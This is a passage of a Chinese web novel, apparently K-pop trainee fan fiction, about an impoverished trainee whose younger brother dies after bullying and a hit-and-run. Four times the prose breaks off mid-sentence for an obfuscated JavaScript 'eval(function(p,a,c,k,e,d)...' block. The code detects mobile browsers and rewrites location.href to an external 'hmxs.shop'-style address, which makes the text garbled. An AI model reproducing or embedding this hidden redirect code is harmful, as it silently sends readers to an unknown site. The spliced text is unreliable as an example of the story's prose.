金侑一看着那块油光发亮的肉，胃里却一阵抽搐。“我……吃饱了。”他把肉又夹回给李璨，勉强扯出一个笑容，“你正在长身体，多吃点。” “真的吗？”李璨眨眨眼，信以为真，又开心地吃了回去。 旁边的金岷奎慢条斯理地用生菜包着烤肉，状似无意地看了金侑一一眼。 那目光平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976262|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，却让金侑一有种被看穿的错觉，他立刻低下头，假装专注地盯着自己面前那杯快要见底的免费大麦茶。 自卑像藤蔓，从脚底悄然缠绕上来，勒紧他的心脏，再顺着血管蔓延到四肢百骸。 他看着桌上丰盛的食物，看着周围那些可爱孩子们，甚至看着他们身上哪怕简单却也整洁合身的训练服。 金侑一咬唇低头扫了眼自己袖口磨损的毛衣，一种近乎扭曲的对比感撕扯着他。 他们走在光里，而他却是连影子都沾着洗不掉的尘灰。他坐在这里，像一个误入盛宴的乞丐，每一秒都是凌迟。 “呀，说起来，”夫盛宽灌了一口汽水，脸颊微红，声音带着兴奋，“听说公司已经在策划出道组了！胜徹哥，是不是真的？” 话题突然转向了这个敏感而激动人心的方向。桌上一静，所有人的目光都投向崔胜徹。 崔胜徹放下筷子，脸上轻松的笑意淡了些，多了几分慎重。“是有这个风声，但具体还不确定。大家继续努力吧，机会是给有准备的人的。” 这话并没有浇灭众人的热情，反而激起了更热烈的讨论。谁可能入选，定位怎么分配，出道风格会是什么样……每一个假设都带着滚烫的渴望。 金侑一安静地听着，“主唱”“主舞”“门面”“出道曲”“打歌舞台”……一个个词汇像一颗颗小石子，投入他心湖，却激不起半点涟漪。 他们的讨论越热烈，他的沉默就割裂。 梦想吗？在踏进P社大门，拿到练习生卡的那一刻，似乎触手可及。 但此刻坐在这里，他比任何时候都更清醒地认识到，那不过是另一个更加残酷的开始。 他拿什么去努力？拿他透支的健康，拿他岌岌可危的家庭，拿他口袋里这几张连一顿像样烤肉都支付不起的纸币？ 金侑一不知道。 聚餐在一片意犹未尽中走向尾声。 果然如金侑一所料，崔胜徹提议AA，大家纷纷掏出钱包。 金侑一的手伸进口袋，指尖发凉，慢慢数出那些皱巴巴的纸币和硬币。数额刚好，甚至没有多余的零钱。他把钱放在桌上，声音低得几乎听不见：“我的。” 没有人注意到他的异样。 大家还在兴奋地讨论着刚才的话题，商量着下一场练习。 金侑一跟在人群最后，走出烟雾缭绕的店铺。夜晚的风吹在脸上，带着凉意，一丝一缕带走了身上的烤肉味。 他看着前面那群勾肩搭背，步履轻快的背影，他们融在首尔璀璨的夜色里，像一群即将振翅的雏鸟。 而他，金侑一，站在原地，影子被路灯拉得细长，孤零零地钉在冰冷的地面上。 他没有哪一刻心里这种“为什么我不能和他们一样”的对比心理会像现在这样强烈。 就像金代表说的，他不是有个“好样貌”适合做爱豆么？ 哈，那些人还认为自己是个“抢手货”呢。 5. 权纯永 世界缄言的背后，某种决心，糜烂地，畸形地滋生出来。 金侑一下必须更努力，更拼命，用成倍的血汗，去填补那巨大的空白，哪怕最终只是徒劳，哪怕过程会将他碾碎。 从那天起，金侑一的时间被切割成更细碎的片段，每一片都浸满了痛苦。 他打工路上见缝插针地练习气息，背诵舞步，他钻进最偏僻的练习室，一遍遍重复着学来的动作，直到肌肉酸痛得抬不起来，直到喉咙沙哑发不出完整的声音。 金侑一开始频繁地头晕。 有一次在搬运沉重的杂物箱时，他脚下一软，连人带箱摔在地上，额头磕在箱角，渗出血来。他在地上躺了好一会儿，才挣扎着爬起，用纸巾胡乱按住伤口，又继续干活。 练习室里晕倒的次数也越来越多。有时是跳着跳着，世界突然旋转着暗下来；有时是唱着唱着，气息接续不上，窒息感猛地攫住他，随后便是冰冷的地板贴上脸颊的触感。 醒来时，一般是独自躺在空荡的练习室地板上，偶尔会看到金岷奎或尹净寒蹲在旁边，手里拿着水，眉头微蹙。 “哥，你又晕倒了。” 金岷奎的声音总是很平静，听不出太多情绪，但递水过来的动作不容拒绝。 “没事啦，低血糖。”金侑一总是这样回答，接过水，一口气灌下去，冰凉的液体滑过灼痛的喉咙。 尹净寒话更少，只是默默把带来的能量棒或巧克力塞到他手里，然后坐在一旁，等他缓过来。 有一次，金侑一醒来，看到尹净寒正拿着拖把，擦去他摔倒时碰倒水瓶洒出的水渍。 那个纤细沉默的背影，让金侑一鼻腔猛地一酸，他迅速别过脸，把那股突如其来的脆弱压了回去。 压力来自四面八方。公司的月末评价一次比一次严格，和他同期甚至晚进来的练习生，有的进步神速，有的背景雄厚。 他像逆水的行舟，用尽全力也只能勉强维持不被冲走，更别提前进。 父亲要钱的频率越来越高，数额也越来越大，醉后的打骂似乎早已成了家常便饭。 母亲已经按时去教堂祷告，眼神却日益空洞，有时还会拉着他说些神神叨叨的话，让他不寒而栗。 最柔软的刀刃，来自弟弟在贤。 金侑一提早结束工作的日子在打工时十分难得，所以他记得很清楚，那是11月16号。 他拖着几乎散架的身体回到家，却发现本该热好菜坐在桌边等他回来吃饭的在贤并不在家中。 一种不祥的预感袭来，他转身冲下楼，路过巷子口的便利店找到了那孩子。 男孩蹲在便利店门外的台阶上，小脸脏兮兮的，校服外套的袖子扯破了一道口子，正低着头，用手指在地上胡乱划着。 “在贤？”金侑一还没缓过神，嘴里念叨着什么听不清的，冲过去，在孩子身前蹲下，“你怎么了？谁欺负你了？告诉哥。” 在贤抬起头，看到是他，眼圈立刻红了，但咬着嘴唇没哭出来，只是摇了摇头。 金侑一看着他手臂上露出的青紫，心像被针扎一样。“告诉哥，怎么回事？” 在贤吸了吸鼻子，声音带着哭腔：“他们……他们说哥是扫大街的，说我们家是垃圾，不配和他们上学……我……我跟他们打架了……” 金侑一一把将弟弟搂进怀里，手臂收紧。男孩瘦小的身体在他怀里微微发抖。 他喉咙哽得生疼，说不出任何安慰的话。 是他，都是因为他。他的贫穷，他的家庭，像洗不掉的污渍，不仅烙印在他自己身上，也玷污了他最想保护的弟弟。 “哥……”在贤闷闷的声音从他怀里传来，“你能不能……别去那个公司了？你最近回来好晚，身上总有药味……爸爸老是发脾气，妈妈也越来越怪……我有点害怕。你……你在家陪陪我，好不好？” 童言无忌，却像一把淬了冰的匕首，精准地捅进了金侑一心脏最柔软的地方。 在家陪他？他何尝不想。 可他不能。 他已经踏上了这条不能回头的路，退一步，就是万丈深渊，连带着弟弟可能稍微光亮一点的未来，也会一起消失不见。 他松开弟弟，双手捧住他的脸，用力擦去他脸上的污迹和泪痕，挤出一个比哭还难看的笑容：“在贤乖，哥没事。哥要去工作，去赚钱，以后给我们在贤买大房子，送你去最好的学校，好不好？再也不会有人敢欺负你。” 金侑一知道。这些话，他说了12年。 在贤看着他，眼睛红红的，似懂非懂，最终缓缓点了点头，小手攥紧了金侑一的衣角。 那天夜里，金侑一睁着眼躺在冰冷的地铺上，耳边是母亲梦里含糊的呓语。弟弟睡在身边，偶尔不安地动一下。 窗外的月光惨白地照进来，勾勒出屋内破败家具的轮廓。练习生的卡片放在枕边，在月光下泛着冷硬的光泽。 他翻了个身，把脸埋进带着潮气的枕头里，无声地颤抖起来。喉咙里压抑着破碎的呜咽，像受伤的野兽在哀鸣。 几天后，金侑一没有出现在P社。 他消失了，没有跟任何人打招呼，就像他当初悄无声息地出现一样。 储物间里属于他的杂物被清空，他常去的那间偏僻练习室，地板光洁如新，仿佛从未有人在那里挥汗如雨，直至晕厥。 生活似乎回到了原点。 便利店，烤肉店，送报，车水马龙，人来人往。时间就这样在金侑一的睁眼闭眼中过去。他心里最清楚，胸腔里的某个地方，彻底空了，漏着风，冷得彻骨。 他不再对着镜子比划动作，不再无意识地哼唱旋律，甚至避免路过P社所在的那条街。 曾经那场烤肉宴又或者看见的那些光鲜的事物，都像一场缥缈的梦一样。梦醒了，只有更沉重的现实压在身上。 他以为自己会一直这样沉下去，直到被生活的淤泥彻底淹没。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976263|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可金侑一自己比谁都要明白，他的优柔寡断，会沾染在对所有事情的追求上。 那是他成为练习生的第二年冬天，同样寒冷的傍晚，他送完最后一沓报纸，推着自行车经过一个街心公园。 孩子们的笑闹声传来，他下意识地抬眼望去。几个少年正在空地上练习舞蹈，动作不算特别齐整，但充满活力，脸上洋溢着灿烂的笑意。 其中一个少年旋转时差点摔倒，旁边的人大笑着扶住他，然后他们勾肩搭背，继续练习，笨拙却认真。 金侑一猛地刹住车，双脚钉在地上。 隔着光秃秃的树枝和冰冷的空气，他仿佛看到了另一群人，在另一间墙纸鲜绿的房间里，同样挥洒着汗水，为了同一个星光闪耀的梦想，咬牙坚持。 心脏像是被重锤狠狠砸中，刺痛之后，是一种近乎麻木的苏醒。那股早已冻结的暗流，在冰封的河面下，极其微弱地涌动了一下。 离开那里并没有让他轻松。那空掉的一块，正在以更快的速度吞噬他剩下的部分。他逃开了压力，却把自己扔进了更深的绝望。 当天晚上，他又梦见了那间练习室。镜子里不再是独自一人，而是站满了模糊的身影。有人对他招手，有人把水瓶递给他，有人拍了拍他的肩。没有声音，只有光影晃动。 醒来时，天还没亮。弟弟在身旁睡得正熟。金侑一坐起身，看着窗外浓得化不开的黑暗。 许久，他伸出手，慢慢探到枕头底下，摸出那张已经有些卷边的练习生卡片。 指尖拂过冰冷的塑料表面，掠过那行小小的“练习生金侑一”。 窗外，最深重的天幕尽头，隐隐透出一丝极淡的灰白。 在贤这次并没有再央求什么，男孩听了金侑一的解释，第一反应却是：“哥，你说你的梦想是唱歌，是做爱豆，那到底是什么梦想？我想住进大房子里，这种也算梦想吗？” 金侑一懵了一瞬，随后大笑。 休息日的早晨，他坐在床边和小小的在贤聊了很久很久，身上是从未有过的轻松。尤其是得到在贤的支持后，那颗死寂的心久违地蹦出了鲜活的声响。 金侑一的回归，像一颗小石子投入已经逐渐习惯他缺席的池塘，只漾起几圈极浅的涟漪，很快又归于平静。 P社的后勤室长皱着眉打量了他几眼，最终没多问，只是把清洁工具和日程表重新扔给他，嘟囔了一句“别动不动就走”。 练习生们见到他，大多也只是点点头，或是一句简短的“回来了”，便又投入紧张的练习。 只有李璨在走廊碰到他时，停下脚步，看了他几秒，说：“哥，你这几天怎么又瘦了。” 而权纯永则是在他某天蹲着擦拭地板时，默默放下一盒牛奶在他手边。 他重新变回那个沉默的影子，在光鲜舞台的背后，拼尽全力做好防守。 那场逃离像一次淬火，烧掉了最后一点侥幸和犹豫，只剩下近乎偏执的念想。 6. 全园佑 金侑一不再仅仅满足于老师的教习内容，而是像一块贪婪的海绵，拼命汲取着一切可能提升自己的养分。 他开始疯狂地观察。观察声乐老师如何指导呼吸和共鸣，观察舞蹈老师如何分解动作和强调力度，观察那些优秀练习生如何在镜头前调动表情和情绪。 他站在那儿，集中注意力，捕捉一切有用的信息片段。完成动作后，就算退居在一旁，眼睛也要盯着，记下每一个走位和队形变换。 他还要利用深夜独自打扫的机会，偷偷操作那些老旧的录音设备，录下自己干涩的嗓音，反复听，寻找哪怕一丝一毫的改进可能。 他的“药箱”依旧在，里面的东西甚至更齐全了。但现在，更多时候，是他自己需要它。 过度劳累和营养不良导致的低血糖和眩晕几乎成了常态，关节和肌肉因为缺乏科学训练而频繁酸痛。 他随身带着止痛片和能量补充剂，像上瘾一样依赖它们来维持身体最基本的运转。 为了支付练习生课程额外的材料费和偶尔必需的加餐，他不得不寻找更多的兼职。 现在，他除了清晨送报、白天便利店、晚上烤肉店，周末还去建筑工地做零工，搬运沉重的水泥和钢筋。 日头最毒或寒风最烈的时候，他和其他临时工一起，像蚂蚁一样在工地上移动，汗水浸透又干涸，在衣服上结出白色的盐渍。 手掌很快磨出了新的水泡，破了，结痂，再磨破，最终变成一层粗糙的硬茧。 他迅速消瘦下去，颧骨突出，眼窝深陷，脸色是一种不健康的青白。旧衣服穿在身上空荡荡的，但他没钱买新的。 练习生统一的训练服，他领到的是最不合身的一套，裤腿和袖子都短一截，洗得发白，混在一群身形日渐挺拔的同龄人中，显得格外扎眼和滑稽。 但他似乎感觉不到这些。他的全部精神都聚焦在那一点点的“进步”上。 一次气息稍微稳了一些，一个高音勉强够到了，一个舞蹈动作没有被批评……所有在别人看来不值一提的进展，成了支撑他熬过一个个冰冷长夜的唯一燃料。 金侑一的努力，以一种笨拙而惨烈的方式，终于引起了一点点注意。不是赞许，而是诧异，以及侧目时的担忧。 声乐老师在一次分组练习时，意外地点了他。“金侑一，你唱一下这段。” 金侑一站起来，心脏狂跳。他清了清沙哑的嗓子，按照自己偷偷练习了无数遍的方式，唱了出来。 声音依旧单薄，技巧生涩，但奇异地，在那种过度用力导致的轻微颤抖中，竟透出一股近乎绝望的投入感，像濒死之人抓住最后一根稻草。 老师听完，沉默了片刻，眉头蹙起，最终只是说：“感情过于外放，技巧欠缺，基础太差。但……肯拼命。”最后四个字，说得很轻，不知道是评价还是叹息。 舞蹈课上，他永远是角落那个最不协调的身影。节奏跟不上，动作做不到位，体力也总是最先耗尽。 有次练习一个需要连续快速旋转和跳跃的组合动作，他转到第三圈就眼前一黑，重重摔倒在地，膝盖磕在地板上，发出闷响。他趴在地上，急促地喘息，汗水滴进眼睛里，刺痛。 老师走过来，居高临下地看着他，语气严厉：“金侑一，身体不行就不要硬撑！你这样不仅自己受伤，还会影响整体进度！” 周围有窃窃私语和低低的笑声。金侑一咬着牙，用手臂撑起身体，摇摇晃晃地站起来，低声道歉：“对不起，老师。我会、会加强练习的。” 他没有看任何人，重新站回自己的位置，音乐响起时，又开始了笨拙的模仿。摔倒的膝盖处，连裤子磨破了，渗出丝丝血迹，但他好像感觉不到疼。 崔胜徹有时会在他练习到深夜时，推门进来，一言不发地看一会儿，然后扔给他一瓶运动饮料。“别练倒在这里。” 语气硬邦邦的，听不出情绪。 金岷奎会在食堂看到他只打最便宜的泡菜汤和米饭时，把自己餐盘里的鸡蛋或肉分一半给他，用大大咧咧的语气说：“哥，我减肥，你帮我吃。” 徐明皓和文俊晖会拉着他，用还不太熟练的韩语和手势，认真地跟他讨论某个中文发音或歌词的含义，仿佛他真的是可以在这个陌生国度里引路的唯一掌灯人。 这些细微的善意，像黑暗冰原上偶尔划过的流星，短暂地照亮他嶙峋的路，却也更清晰地映出他的卑微软弱。 他接受着，感激着，同时也被一种无法言说的债务感折磨着。 他凭什么得到这些？凭他的贫穷？凭他的可怜？还是凭他那点可笑的“努力”？ 好几种扭曲的情绪，在月末评价来临前，达到了顶峰。为了准备评价曲目，他连续三天睡眠时间加起来不到十小时。 白天打工，晚上潜入练习室，对着镜子一遍遍抠动作，练唱段。喉咙肿痛时候，连吞咽都变得困难，他就含着喉糖继续唱。过度的练习使腿脚浮肿，他就扶着把杆，一点点挪动。 评价当天，他站在评委面前，灯光刺眼。 音乐响起，他张开嘴，却发现发不出声音，只有嘶哑的气流。 他慌了，拼命想调动声带，却只引来一阵剧烈的咳嗽和更加刺耳的破音。 舞蹈部分更是灾难，脚步虚浮，动作完全变形，跳到一半，他左脚绊右脚，再次狠狠摔倒在地。 练习室里一片寂静。评委们的脸上没什么表情，只有最边上那个声乐老师，几不可察地摇了摇头。 金侑一趴在地上，脸颊贴着冰冷的地板，汗水混着灰尘，黏腻难受。 他能感觉到所有人的目光，像针一样扎在他的背上。羞耻、绝望甚至对自己的憎恶，像冰冷的潮水，将他淹没，不留分毫。他恨不得地板裂开一条缝，让他坠入，直达地狱。 不知过了多久，也许只有几秒。他听到评委淡淡的声音：“下一个。” 他挣扎着爬起来，低着头，踉跄着走出练习室，靠在走廊冰冷的墙壁上，身体控制不住地颤抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976264|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 失败。 又一次毫无悬念的失败。 他付出了这么多，透支了健康，牺牲了陪伴弟弟的时间，忍受了无数的白眼和嘲笑，换来的就是这样一个狼狈的结局。 为什么？ 凭什么？ 他慢慢滑坐在地上，把脸埋进膝盖。走廊里人来人往，就像便利店外的路边。脚步声，说话声，练习室的音乐声，交织成一片模糊的噪声。 但他什么都听不到，耳边只有自己沉重而破碎的呼吸和心底那个越来越响的声音： 你不行。金侑一。你永远不行。 就在他几乎要被这黑暗吞噬的时候，一个清亮的声音在他头顶响起，带着一丝不易察觉的疲惫和了然。 “喂，在这坐着干什么。” 金侑一浑身一僵，缓缓抬起头。 李志勋站在他面前，穿着训练服，额发微湿，手里拿着个保温杯。他低头看着金侑一，脸上没什么特别的表情，既没有同情，也没有责备，只有一种近乎漠然的平静。 “评价结束了？”李志勋问。 金侑一喉咙哽住，发不出声音，只是点了点头。 李志勋也点了点头，没再问结果，只是把保温杯递过来：“喝点热水。你嗓子快废了。” 金侑一没接，只是怔怔地看着他。 为什么？为什么在这个时候是李志勋？这个最初给他名片，让他“去唱啊”的人，现在看到他这副最落魄的样子。 李志勋见他不动，直接把保温杯塞进他手里，温热的感觉透过杯壁传来。 “摔倒没什么，”李志勋的声音很平淡，像是在陈述一个客观事实，“站起来就行了。除非你自己不想站。” 说完，他绕过金侑一，径直朝练习室走去，脚步没有一丝停留。 金侑一握着那只保温杯，温热的触感顺着指尖，一点点蔓延到冰冷僵硬的四肢百骸。 李志勋的话，像一把钝刀子，没有安慰，没有鼓励，却奇异地撬开了那层名为自怜的壳。 摔倒没什么。站起来就行了。 除非你自己不想站。 是啊，他在自怜什么？在绝望什么？ 失败？他早就习惯了。 丢脸？他这样底层的人，最不值钱的就是脸面啊。 他慢慢站起来，靠在墙上，拧开保温杯，温热的水汽扑在脸上。他喝了好几口，水流过灼痛的喉咙，带来一阵刺痛后的舒缓。 走廊尽头，李志勋推开练习室的门，里面传来熟悉的音乐前奏，是他正在制作的曲子。节奏强烈，光听就知道描绘的是一幅欣欣向荣的样景。 金侑一看着手里冒着热气的保温杯，又低头看了看自己磨破的膝盖和脏污的训练服。一种极其疲惫，却又异常清晰的认知，浮上心头。 他还能站。 只要他不想躺下，就还能站。 月末评价的结果不出所料，他是垫底的那一批。但这一次，他没有再躲起来。 7. 李志勋 他拿着评价表，找到声乐老师，用沙哑的嗓子，一字一句地问：“老师，我哪里问题最大？我应该怎么练？” 声乐老师有些意外地看了他一眼，或许是那眼神里过于执拗的东西打动了他，他难得地多说了几句，指出了几个最致命的基础问题。 然后，金侑一练习的方向变了。 他对着墙壁练站姿，在楼梯间跑上跑下练肺活量，对着钢琴一个音一个音地抠准。过程枯燥到令人发疯，可金侑一偏要如此。 他没有再晕倒在练习室。不是身体变好了，而是他学会了在身体达到极限之前，强迫自己停下来，吃一点东西，喝一点水，短暂地休息几分钟。 就像一台过度磨损却强行维持运转的机器，靠着最低限度的润滑和修补，咯吱咯吱地工作。 他依旧沉默，依旧消瘦，依旧执拗。但偶尔，在某个重复了千百遍的基础练习终于找到一点点感觉时，他那双总是垂着的眼睛里，会极其短暂地，掠过一丝微弱的光。 那光很淡，像风中残烛，随时会熄灭。 但它亮过。 在无数个疲惫不堪的深夜里，当金侑一拖着几乎散架的身体回到那间冰冷破败的屋子，看到弟弟在贤蜷缩在旧垫子上等他，用小手紧紧攥着他的衣角时，金侑一会轻轻抚平弟弟微蹙的眉头，然后靠在冰冷的墙壁上，阖上眼。 耳边仿佛又响起练习室的音乐，金侑一像上瘾般随着不存在的拍子点头。 金侑一要去的地方距离现在仍十分遥远，但他似乎终于找到了一种姿势，可以忍着骨头的哀鸣和血液的冰冷，朝着那个方向，一点点，爬过去。 日子在一种近乎麻木的重复中向前碾过。 金侑一的身体和精神都像一根绷到极致的弦，靠着惯性维持着最低限度的振动。 打工，练习，清扫，再打工，再练习。三餐缩减成两餐，有时甚至是一餐，用最便宜的面包或饭团草草对付。 睡眠是奢侈的碎片，在地铁摇晃的座位上，在练习室角落倚着墙壁的几分钟里，短暂地攫取一点可怜的黑暗。 进步缓慢得像蜗牛爬行。但月末评价时，声乐老师看着他的目光里，那点“过于外放”的评语后面，隐约多了一些别的东西。 舞蹈老师虽然仍会严厉地指出他动作的僵硬和乏力，但不再有那种“你不行就离开”的直白驱逐。 他甚至被允许，在人数不够分组练习时，站在声乐组的最后一排，跟着唱和声。 尽管他的声音大部分时候都被淹没，但他站在那片属于“预备出道组”的区域内，脚下老旧地板的触感都似乎变得不同。 偶尔，在深夜空无一人的大练习室里，他会被允许使用那台稍微新一点的音响设备。于是，他放上偷偷刻录的简单demo，对着巨大的镜墙，闭上眼，想象台下有观众，有属于舞台最绚烂的光。 音乐流淌出来，填充空旷的房间，也短暂地填满他胸腔里那块漏风的空洞。 那一刻，一切一切，似乎都退得很远。只有旋律，和他自己粗粝却真实的呼吸，以及未来的“爱豆Unie”金侑一。 但这种虚幻的充盈感，总会在音乐停止的瞬间，被更沉重的现实砸得粉碎。 口袋里永远拮据的零钱，家里父亲日益暴躁的索取，母亲越来越频繁的诡异言论，还有弟弟在贤肉眼可见的疲惫。 “哥，学校要交课外活动材料费。”在贤小声说，低着头，不敢看他。 “哥，爸爸昨天又……” “哥，妈妈她……” “哥，我很想你……” 每一个“哥”字后面，都是一道需要他用血肉去填补的裂缝。 他像个拙劣的泥瓦匠，拼命想把漏水的破船补好，却眼睁睁看着更多的木板在朽坏，更多的海水涌进来。 在巨大的压力下，金侑一起了叛逆心理。 有那么一段日子，他几乎和在贤没有任何沟通。 可那毕竟是他的在贤，是金侑一每每想起都会出神的，金在贤。 那是一个异常闷热的春末，空气黏稠得仿佛能拧出水。 金侑一刚结束P社的清扫，累得整个人几乎虚脱，正准备去赶最后一班地铁回家。 手机在口袋里震动起来，屏幕上跳动着“在贤班主任”的字样。一股不祥的预感瞬间攫住了神经，他手指冰凉地划过接听键。 “是金在贤的哥哥吗？请你马上来市立医院急诊科！金在贤出车祸了！很严重！” 后面的话金侑一听不清了。耳朵里像是瞬间灌满了尖锐的鸣叫，世界旋转着退居幕后。 他不知道自己是怎么冲出P社大楼，怎么跌跌撞撞跑到街上，怎么拦下出租车，又怎么冲进医院弥漫着消毒水气味和惨白灯光的急诊大厅。 一片混乱中，穿着各式各样的人影在眼前疯狂闪动，摇晃，变大变小。最后，他敏锐地捕捉到了一张在送往急诊室路上，被蓝色布帘半遮住的推床，和床单下那个过于瘦小的轮廓。 “在贤……”他嘶哑地喊了一声，扑过去，却被送床的护士拦住。 “家属请冷静！请不要妨碍抢救工作！” 抢救？车祸？怎么会？在贤这个时间应该在家写作业，或者已经睡了才对！ 警察走了过来，语气公式化中带着一丝不易察觉的沉重。“初步调查，孩子是在附近一处偏僻路段被发现的，当时已经昏迷。” “肇事的是一辆酒驾车辆，司机当场逃逸，我们正在追捕。但根据现场痕迹和……和孩子身上的情况看，事情可能没那么简单。” 警察的目光示意性地扫过角落里那几个少年。金侑一顺着他的目光看去，血液瞬间冻结。其中一个少年，脸上带着明显的抓痕，眼神躲闪。 “他们……”金侑一的声音抖得不成样子，“他们对在贤做了什么？” 班主任走上前，嘴唇哆嗦着：“警官，金先生，我们也是刚知道。这几个孩子，可能……可能长期对在贤有一些不恰当的行为。今天放学后，他们……” 后面的话，金侑一听不进去了。他猛地推开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16976265|193505||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拦着他的护士，冲到推床边，颤抖着手，轻轻掀开了盖在弟弟身上的白色被单。 只一眼。 只一眼，他就觉得自己的灵魂被硬生生剜了出来，扔进冰窟里。 那具瘦小的身体上，遍布着青紫的瘀伤，新的叠着旧的，有些地方皮肉翻开，渗出暗红色的血。 手臂，小腿，甚至有肋骨处，呈现出不自然的弯曲。脸颊红肿，嘴角破裂，额角有一道深深的伤口，还在渗着血。这根本不是一场单纯车祸能造成的！ 他的在贤，他的在贤！ 高烧。车祸。霸凌。酒驾。 这些词汇像淬毒的冰锥，一根根钉进他的太阳穴。 “他身上有很多旧伤，”正抢救的医生急匆匆拿来设施，语气凝重，“营养不良，抵抗力很差。送来时体温超过40度，已经出现感染性休克的迹象。再加上严重的外伤和多处骨折。我们正在全力抢救，但，请家属做好心理准备。” 心理准备？什么心理准备？ 金侑一站在那里，一动不动，像一尊骤然风化的石像。他看着弟弟紧闭的双眼，苍白如纸的小脸，看着那些触目惊心的伤痕。 世界在此噤声，没有了丝毫色彩，只剩下眼前这片惨白和青紫，还有鼻尖浓得化不开的消毒水和血腥味。 时间变成了一把钝刀，剐蹭着每一根神经。每一秒都像一个世纪那么长。抢救室的灯一直亮着，那红光刺得他眼睛生疼。 不知过了多久，灯灭了。 门打开，医生走出来，摘下口罩，脸上带着职业性的疲惫和一丝未能掩藏的遗憾。他看向金侑一，张了张嘴。 金侑一没等他说出口。他什么都明白了。从看到弟弟身上那些伤的那一刻起，他就都明白了。 腿脚一软，那么瘦弱的人直接跪倒在地上，额头抵着冰冷光滑的地面。没有哭喊，没有嘶吼，只有身体无法抑制地颤抖，像寒风中最后一片枯叶。 死了。 他的在贤，那个会拉着他的衣角说“哥，我害怕”的在贤，那个会把省下的饭团偷偷塞给他的在贤，那个身上总是带着细小伤痕却努力对他笑的在贤。 死了。 死在霸凌者的拳脚和恶语里，死在四十度的高烧里，死在一场恰好路过的酒驾车轮下。 荒谬得像一场最劣质的恶作剧。 _ 天气阴沉，飘着冰冷的雨丝。墓地偏僻而简陋，葬礼更是寒酸到可怜。在贤的葬礼，浓烈的黑色能把活生生的人咬碎。 金侑一没想过那个男人会来得这么快——父亲金成浩，不是作为悲痛的长辈，而是作为另一个噩耗的传达者。 他眼窝深陷，身上酒气混着多日未洗漱的酸臭，拽着金侑一的胳膊，眼神浑浊而疯狂：“钱！赔的钱呢？肇事方赔的钱呢？拿来！老子欠的债再不还就要被砍死了！” 金侑一甩开他的手，像甩开一摊令人作呕的秽物。 他看着这个给了他生命，也给了他无尽痛苦和耻辱的男人，眼神空洞得没有一丝波澜。 8. 李硕岷 “赔的钱？”金侑一的声音很轻，轻得像叹息，“酒驾，逃逸，对方是个混混，名下什么都没有。在贤的抢救费，葬礼费……是我借的。”他指了指自己，“我。高利贷。” 金成浩愣住了，随即更加暴怒：“你借？你凭什么借？那是老子的钱！老子……” 他挥舞着拳头，却在对上金侑一那双死水般的眼睛时，莫名地瑟缩了一下，最终只是咒骂着，踉踉跄跄地冲进雨幕里，不知又奔向哪个赌档或酒馆。 母亲穿着一身皱巴巴的黑色衣裙，头发凌乱，眼神涣散。从看到在贤遗像的那一刻起，她就没停止过喃喃自语。 “是审判……是神对我们的考验……在贤是纯洁的羔羊，提前被召回了天国……奉献，我们要更多的奉献，才能赎罪，才能……” 她忽然抓住金侑一的胳膊，指甲深深掐进他的肉里，眼睛瞪得极大，歇斯底里地说着金侑一听不懂也不想听的话语。 金侑一任她抓着，没有挣扎。打在他脸上的冰冷雨丝和母亲滚烫的疯语形成诡异的对比。 他看着母亲扭曲的脸，听着那些荒诞不经的呓语，忽然觉得很可笑。他扯了扯嘴角，却没能成功做出一个表情。 弟弟死了。 父亲负债赌博。 母亲终于疯了。 这个世界，终于把他最后一点可以称之为“家”的碎片，也彻底碾成了齑粉。 葬礼结束，人群散去，只剩下泥泞的墓地和冰冷的石碑。金侑一独自站在那里，雨越下越大，淋透了他单薄的黑色西装。他没有打伞，也没有离开。 他慢慢蹲下身，伸出手，指尖轻轻拂过石碑上“金在贤”那三个冰冷的刻字。弟弟的照片嵌在中间，是他小学毕业时拍的，眼睛亮亮的。 “在贤啊，”他低声说，声音被雨声盖过，“哥对不起你。” “都是哥的错啊。” “你也会怪哥吧。” 雨水中，有什么温热的东西混了进去，顺着脸颊流下，很快又被更冰冷的雨水冲走。他分不清那是雨，还是别的什么。 